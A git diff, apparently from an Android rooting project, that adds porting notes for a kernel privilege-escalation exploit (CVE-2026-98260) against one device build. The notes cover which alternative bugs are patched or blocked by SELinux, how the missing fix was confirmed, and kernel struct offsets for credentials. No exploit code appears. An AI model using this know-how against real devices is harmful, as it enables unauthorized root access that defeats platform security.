a/app/src/main/res/xml/preferences.xml b/app/src/main/res/xml/preferences.xml index efdd2699..2b27e782 100644 --- a/app/src/main/res/xml/preferences.xml +++ b/app/src/main/res/xml/preferences.xml @@ -1,21 +1,43 @@ - + + - + - + + + + + + + + + + diff --git a/docs/PORTING-98260.md b/docs/PORTING-98260.md new file mode 100644 index 00000000..77f67709 --- /dev/null +++ b/docs/PORTING-98260.md @@ -0,0 +1,49 @@ +# A066B / CVE-2026-98260 + +Build: A066BXXU8DZJ7, 6.18.21-android17-5-pc5d9a20-abogki, SPL 2026-10-05. + +## Why not DirtyFrag or GhostLock +Both are backported into this build. DirtyFrag reaches +"patch: crash_dump64 verification failed / DEVICE NOT VULNERABLE" (write lands, +does not survive read-back) — same result reported independently in +mitschud/DirtyFrag#188 on the identical build. GhostLock's fix floor sits below +6.18.21 upstream but is backported likewise. + +Copy Fail (CVE-2026-31431) is unavailable: algif_aead is a module that is not +loaded, and SELinux denies AF_ALG socket creation to untrusted_app +(socket() -> EACCES). + +## Why 98260 +Fix is acb03d388181, "exec: Cleanup POSIX timers right after de_thread()". +Present in 6.18.54, above this build. Verified absent from the image: in +begin_new_exec the de_thread tail (exchange_tids, transfer_pid x3, +release_task) is followed by __io_uring_cancel, unshare_files, +dma_buf_begin_new_exec, set_mm_exe_file, exec_mmap, exec_task_namespaces and +only then posix_cpu_timers_exit + exit_itimers. The fixed layout puts those +two directly after release_task. + +## Environment constraints +- /proc/kallsyms mode 0400 root-only; /proc/cmdline, /proc/modules, + /proc/pagemap, /sys/kernel/btf/vmlinux and tracefs all denied by SELinux +- therefore: no runtime symbols, no BTF, no ftrace page-alloc oracle +- 4k pages, 52-bit VA, PAGE_OFFSET 0xffff800000000000 +- symbols come from stock boot.img kallsyms via vmlinux-to-elf + +## Verified offsets (deltas from _text) +offsets_a066b.h. Struct fields checked against init_task image bytes: +tasks 0x728, real_cred 0x900, cred 0x908, comm 0x918. + +## Also ruled out: Fragnesia (CVE-2026-46300) +ESP-in-TCP page-cache write, same class as DirtyFrag and published to survive +DirtyFrag mitigations. Unreachable on this build for two independent reasons: + +- socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM) -> EPERM (SELinux denies + netlink_xfrm_socket to untrusted_app) +- setsockopt(TCP_ULP, "espintcp") -> ENOENT; espintcp is a module, not loaded, + not loadable; /sys/module/espintcp absent. esp_output/xfrm_state_alloc are + built in, so the ESP core exists — it is the app-facing reach that doesn't. + +Note: DirtyFrag never used netlink. DFRoot drives ESP through Java +IpSecManager, which gets the SA from system_server. That is UDP-encap only. +So IpSecManager-reachable ESP bugs are viable; NETLINK_XFRM and TCP-ULP ones +are not.